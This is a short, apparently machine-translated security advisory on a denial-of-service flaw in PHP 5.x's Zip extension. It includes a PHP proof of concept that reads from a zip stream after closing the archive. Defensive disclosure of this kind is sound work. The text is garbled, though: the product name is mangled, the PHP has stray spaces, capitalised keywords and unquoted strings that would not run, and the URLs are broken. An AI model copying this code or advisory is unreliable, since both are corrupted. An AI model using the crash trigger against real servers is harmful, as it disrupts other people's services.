PHP Zip extension stream_get_contents () function DoS Vulnerability and repair

Affected Versions:
MandrakeSoft shortate Server 4.0 x86_64
MandrakeSoft shortate Server 4.0
PHP 5.x

Vulnerability description:

PHP is a widely used scripting language. It is especially suitable for Web development and can be embedded into HTML.

The PHP "Zip" extension "stream_get_contents ()" function has a denial of service vulnerability. Remote attackers can exploit this vulnerability to cause application crashes, DOS, and arbitrary code execution. <* Reference
Http://bugs.php.net/bug.php? Id = 53579
*>
Test method:
<? Php

$ Target_file = META-INF/MANIFEST. MF;

$ Za = new ZipArchive ();
If ($ za-> open (test. jar )! = TRUE)
{
Return FALSE;
}

If ($ za-> statName ($ target_file )! = FALSE)
{
$ Fd = $ za-> getStream ($ target_file );
}
Else
{
$ Fd = FALSE;
}
$ Za-> close ();

If (is_resource ($ fd ))
{
Echo strlen (stream_get_contents ($ fd ));
}

?>
Vendor patch:

PHP
---
The vendor has released a patch to fix this security problem. Please download it from the vendor's homepage:

Http://www.php.net